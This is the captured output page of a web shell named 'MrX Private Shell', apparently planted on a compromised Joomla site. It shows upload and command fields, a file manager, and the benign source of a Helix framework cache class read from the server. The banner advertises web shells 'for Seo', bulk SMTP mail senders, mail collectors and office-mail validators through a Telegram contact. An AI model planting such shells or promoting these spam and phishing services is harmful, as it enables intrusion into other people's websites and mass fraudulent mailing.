__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package 	Helix_Ultimate_Framework
 * @author 		JoomShaper <[email protected]>
 * @copyright 	Copyright (c) 2010 - 2018 JoomShaper
 * @license 	http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\System;

defined('_JEXEC') or die();

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;

/**
 * Class for caching
 *
 * @since	2.0.0
 */
class HelixCache
{
	/**
	 * Cache key
	 *
	 * @var		string		$key	Cache key.
	 * @since	2.0.0
	 */
	private $key;

	/**
	 * Cache group where to cache store.
	 *
	 * @var		string	$group	Cache group.
	 * @since	2.0.0
	 */
	private	$group = 'helixultimate';

	/**
	 * Cache instance.
	 *
	 * @var		Cache	$cache	JCache instance.
	 * @since	2.0.0
	 */
	private $cache;

	/**
	 * Constructor function.
	 *
	 * @param	string		$key		Cache key
	 * @param	integer		$lifetime	Cache lifetime.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function __construct($key, $lifetime = 1440)
	{
		$this->key = $key;
		$this->setCacheInstance($lifetime);
	}

	/**
	 * Set cache group externally
	 *
	 * @param	string	$group	Group name
	 *
	 * @return	self	The class instance
	 * @since	2.0.0
	 */
	public function setGroup($group)
	{
		$this->group = $group;

		return $this;
	}

	/**
	 * Set cache key.
	 * This is for manipulate the key if anyone don't want to re-initiate the class.
	 *
	 * @param	string	$key	Cache key to set.
	 *
	 * @return	self	Class instance for chaining
	 * @since	2.0.0
	 */
	public function setCacheKey($key)
	{
		$this->key = $key;

		return $this;
	}

	/**
	 * Get Cache key for outside of the class.
	 *
	 * @return 	string	Cache key
	 * @since	2.0.0
	 */
	public function getCacheKey()
	{
		return $this->key;
	}

	/**
	 * Set cache instance
	 *
	 * @param	int		$lifetime	Cache lifetime.
	 *
	 * @return	self	The class instance for chaining.
	 * @since	2.0.0
	 */
	public function setCacheInstance($lifetime)
	{
		$config = Factory::getConfig();

		$options = [
			'caching' 	=> true,
			'cachebase' => $config->get('cache_path', JPATH_ROOT . '/cache'),
			'lifetime' 	=> $lifetime
		];

		$this->cache = Cache::getInstance('', $options);

		return $this;
	}

	/**
	 * Get cache instance
	 *
	 * @return	Cache	The cache instance
	 * @since	2.0.0
	 */
	public function getCacheInstance()
	{
		return $this->cache;
	}

	/**
	 * If cache data contains for the key.
	 *
	 * @return	boolean		true on success, false otherwise
	 * @since	2.0.0
	 */
	public function contains() : bool
	{
		return $this->cache->contains($this->key, $this->group);
	}

	/**
	 * Clean Cache
	 *
	 * @return	self	Class instance
	 * @since	2.0.0
	 */
	public function cleanCache()
	{
		$this->cache->clean($this->group);

		return $this;
	}

	/**
	 * Remove cache by key.
	 *
	 * @param	string	$key	The key string.
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function removeCache($key = null)
	{
		if (empty($key))
		{
			$key = $this->key;
		}

		$this->cache->remove($key, $this->group);

		return $this;
	}

	/**
	 * Store cache with data.
	 *
	 * @param	array	$data	data to store as cache.
	 *
	 * @return	self	Class instance
	 * @since	2.0.0
	 */
	public function storeCache($data)
	{
		$this->cache->store($data, $this->key, $this->group);

		return $this;
	}

	/**
	 * Load cached data by key
	 *
	 * @return	mixed	Loaded data on success, null on no data.
	 * @since	2.0.0
	 */
	public function loadData()
	{
		$data = $this->cache->get($this->key, $this->group);

		if (!empty($data))
		{
			return $data;
		}

		return null;
	}
}

Filemanager

Name Type Size Permission Actions
HelixCache.php File 3.44 KB 0664
HelixDocument.php File 7.79 KB 0664
JoomlaBridge.php File 2.09 KB 0664
Filemanager